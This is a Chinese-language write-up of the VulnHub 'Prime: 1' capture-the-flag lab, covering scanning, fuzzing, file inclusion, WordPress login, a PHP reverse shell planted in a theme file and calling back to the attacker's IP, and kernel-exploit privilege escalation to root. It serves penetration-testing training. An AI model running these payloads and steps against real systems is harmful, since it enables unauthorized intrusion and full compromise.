开头:
此篇文章是根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非wp
详细打靶视频如下
「红队笔记」靶机精讲:Prime1 - 信息收集和分析能力的试炼,试试吧,按图索骥!_哔哩哔哩_bilibili
本次针对的靶机是vulnhub中的prime
本文打靶的靶机是vulnhub上的,链接见prime1~ VulnHub
靶机下载链接见:
https://download.vulnhub.com/prime/Prime_Series_Level-1.rar
下载好之后,用vmware打开即可,将网络适配器设置为NAT模式,否则可能在主机发现模块找不到靶机ip
第一步:信息收集
我们开始起手依旧是对整个网段进行一个扫描,看下网段内存活主机的情况,还有端口开放情况
nmap -Pn 192.168.38.0/24
这边现在是发现了192.168.38.136,这台主机的情况是开启了80端口和22端口
我们这边用nmap的脚本在对他跑一遍以免错过打击面
nmap --script=vuln -p22,80 192.168.38.136
nmap的脚本跑的比较慢,在过程中可以进行目录扫描。
顺便去看一眼80端口页面。我这是打完靶之后写的分享所以已经扫完了,这边可以看到是扫出了wordpress平台,这个平台还是比较经典的。
我们看到他的默认页面是kali的图片,看一眼源码也没有发现什么可以利用的东西。那我们回去看一下目录扫描的结果?
OK,我们看到目录扫描完毕,我们大致扫一眼就能看到里面最敏感的我认为就是/wordpress/w-admin 我们在做渗透测试的时候需要有一定的嗅觉,结合我们之前在nmap脚本扫描中确实看到了wordpress的个平台那么这个目录90%就是他的登录界面了然后还有几个可疑目录
我们猜想是正确的,我们简单尝试几个弱口令,都失败了进不去,那没有办法,我们暂且将他搁置,我们去看下背的目录,看能不能找到一些别的信息。
我们在kali中可以用到curl 这个参数查看页面在一些情况下比较方便 这个参数拆解开就是cat url
curl http://192.168.38.136/dev
emm他说要我们深入挖掘这个网站,我们现在还处于没有开始的阶段
我们只是扫描了他的目录他说我们没有做到位那我们,用dirb的时候加上他的-x 来指定扫描文件
dirb http://192.168.38.136 -x .txt,.php,.zip,tar
我这边用的是gobuster
gobuster dir -u http://192.168.38.136 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,zip,tar
两种都可以看你自己喜欢
开始我看了两个php并没有发现什么东西,当我们打开secret.txt出现了一段信息
curl http://192.168.38.136/secret.txt
嗯,信息很有用,它的线索只向我们可以去学一个工具来进行模糊测试,我们可以看location.txt文件去下一步,emmm我们为什么没有扫描出location.txt呢,我们先去看下这个网站。
他是一个fuzz测试的工具也给出了测试语句,那我们用这个语句进行fuzz测试。
刚刚上面提示还说了要我们测试每一个php,那我们开始时测试第一个image.php
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.38.136/image.php?FUZZ=bqb
这边用的是wfuzz工具指定了他的一个字典 ?FUZZ这后边可以自己随意编写我这就写比奇堡。
我们发现状态都是200,返回字节147但是在模糊测试中只会有少量的结果是我们想要的,所以我们需要将这一堆一样的返回给过滤掉。
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147 http://192.168.38.136/image.php?FUZZ=bqb
我们过滤掉字节为147的以后发现没有东西,结合之前的提示我们再去试下index.php
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.38.136/index.php?FUZZ=bqb
这次返回不一样了,字节为136了,按我们再来一次过滤
这次出现了一个参数file一般用于网页上传的那些文件,之前提示中指向了一个location.txt文件,那我们是不是可以用file查看呢
ok成功查看到了,它说让我们在其他的php页面上使用到secrettier360可能有一些东西。我们去image看下
他说我们找了一个真确的参数,现在线索断了,要靠我们自己了,他现在给出来的攻击手段就只有一个url,那我们可以进行一个任意文件下载或者查看?又或者文件包含
最后出了文件包含是可以的,
最基础的翻阅他的一个账户信息,我们查看他的一整个账户信息发现只有victor拥有bash权限
还有一个saket可以利用在这个用户下面出现了一个password文件我们再次利用文件包含去查看。
这里给出了他的密码follow_the_ippsec
emm,现在我们拥有了账号和密码,已经达成了我们登录凭证的两要素我们试着连接以下ssh但我感觉可能性很小毕竟我们还有一个wordpress没有用到。
第二部web渗透
和想象中的一样,失败了我们去尝试wordpress。
猜想正确我们进到了wordpress,我们查看他的几个功能点,看到这里就非常可疑,他有代码段又有look up,但是无法触发交互状态我们在仔细查找下其他的看有没有能实现交互的。
最终找到了我们在里面写入一个反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.38.128/4433 0>&1'"); ?>
映射到我们自己的4433端口上面同时kali开始监听
上传以后没有触犯,我们需要去访问下这个php文件。来触发反弹shell,我们可以看到,我们创建了一个wordpress主题themes,twentynineteen,secret.php
wordpress的默认主题路径为/wordpress/wp-content,结合一下我们共造出他的php路径为http://192.168.38.136/wordpress/wp-content/themes/twentynineteen/secret.php
第三步权限提升
访问完后我们连上了shell
老套路上信息三板斧whoami ,uname -a ,ip a
权限肯定不高,是个ubuntu 4.10的内核查看了一些定时任务,和文件没有什么可以利用的点但是它ubuntu操作系统的版本并不高我们可以试着利用一下它的系统漏洞看能不能升到root
searchsploit Linux ubuntu 4.10.0-28
我们先查看以下ubuntu的历史漏洞
这段输出信息中包含了三个漏洞的利用程序信息,以及其在 searchsploit 安装目录中的路径。具体来说:
第一个漏洞是针对 Linux Kernel 4.10.5 和低于 4.14.3 版本存在的 DCCP Socket Use-After-Free 漏洞的攻击代码。攻击代码路径为 linux/dos/43234.c。该攻击代码可用于实现攻击,导致目标系统遭受拒绝服务(DoS)攻击。
第二个漏洞是针对 Ubuntu 16.04 及 Fedora 27 等系统上存在的本地提权漏洞的攻击代码,该漏洞可导致攻击者获得系统管理员权限。攻击代码路径为 linux/local/45010.c。
第三个漏洞是针对 Ubuntu 15.10 及以下系统上存在的一个命名空间特权提升漏洞的攻击代码。攻击代码路径为 linux/local/41760.txt,并提供了漏洞的详细描述。
这里我们利用一下第二个漏洞来获取管理员的权限。
searchsploit Linux ubuntu 4.10.0-28 -m 45010.c 之前提到过-m 参数是将文件做个镜像到当前目录之下。
我们来执行这个漏洞文件利用先对它进行一个编译,将他的.c文件转变为执行文件.
我们现在本地建设一个服务,用我们的80端口开启搭建。
然后把利用文件传到我们的靶机上面去,我先讲shell进入到web目录或者是零时文件下
cd /tmp
然后从我们开启的服务,去从网页下载这个这个漏洞文件
wget http://192.168.38.128/45010.c(这里IP需要是自己的地址因为是让靶机从我们这里下载)
这边查看后下载完毕
我们又下载了可执行的漏洞利用文件发现不能执行
那我们还是用第一次下载的.c文件
但是这种方法要求靶机上面又编译软件
现在我们执行成功了
# 查看当前安装了哪些软件包,是否安装了 python 程序:
dpkg -l
# 如有 python 程序,执行一下命令获取命令提示符:
python -c "import pty;pty.spawn('/bin/bash');"
我们cd 到root
然后查看root.txt
这台主机我们也是拿下了